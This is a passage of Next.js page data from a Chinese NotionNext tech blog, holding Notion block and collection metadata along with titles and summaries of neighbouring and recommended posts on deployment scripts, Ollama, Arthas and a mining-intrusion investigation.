",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2":{"value":{"id":"1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2822cf85-e741-4a15-913d-5905a02e0cd0","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"53f55fce-85fc-42d2-b4d9-16cbbec3544a":{"value":{"id":"53f55fce-85fc-42d2-b4d9-16cbbec3544a","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"80ee939b-8833-4392-a7e3-5687659406c1":{"value":{"id":"80ee939b-8833-4392-a7e3-5687659406c1","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},"next":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240121-skywaking"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
